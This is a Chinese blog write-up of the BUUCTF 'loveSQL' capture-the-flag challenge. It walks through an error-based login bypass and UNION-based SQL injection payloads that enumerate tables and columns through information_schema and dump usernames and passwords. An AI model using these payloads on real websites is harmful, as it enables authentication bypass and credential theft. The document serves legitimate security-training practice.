buuctf-loveSQL

在这里插入图片描述

进入界面
在这里插入图片描述

没有什么明显的提示,上次有个一样界面的题目,结果直接万能密码1=1出来了,这次再试试
在这里插入图片描述在这里插入图片描述

??????
啥?
简单的我有点不相信,睿智的我一下子就觉得不对经
去尝试一下MD5
在这里插入图片描述

就知道…
在这里插入图片描述

算了,接着找吧
看题目名字,lovesql
估计还是注入
只能把目标放在url上了
这边比较恶心,url转码烦死我了,老是弄乱
查询一下列
’ order by 4%23
在这里插入图片描述在这里插入图片描述

到四的时候报错
在这里插入图片描述

说明3是一个临界点,即列数为3
。。。。。
然而到这里我懵逼了,不知道要干啥了…
晕晕乎乎的。一点思路找不到…
去看了下wp
决定还是重头开始做一下
在这里插入图片描述

随便输入,会发现报错信息
在这里插入图片描述

接下来在hackbar操作
在这里插入图片描述

当我在name处修改内容时,报错如下
在这里插入图片描述
在这里插入图片描述

第一个是单引号时,第二个则是双引号时,因此,这里想到试一下万能密码
’ or 1=1#
在这里插入图片描述

结果报错如上。这里是为什么呢
查了下,知道这里是因为#要换成%23才行。醉了
在这里插入图片描述

最后成功界面如下
之后查询了下列,和我上面结果一样,列数为3
之后爆一下显示位
在这里插入图片描述

’ union select 1,version(),database()%23
获取所有数据库名
在这里插入图片描述

’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
获取所有表名
在这里插入图片描述

’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘l0ve1ysq1’%23
获取所有列名
在这里插入图片描述

’ union select 1,2,group_concat(concat_ws(’-’,id,username,password)) from l0ve1ysq1%23
获取所有数据
在这里插入图片描述

flag{833d87ca-634c-4c79-a944-10578e1d4698}
最终获得我们的flag
Sql这一块太差了,没怎么学习过,后面得加强加强。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一名无聊的网友

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值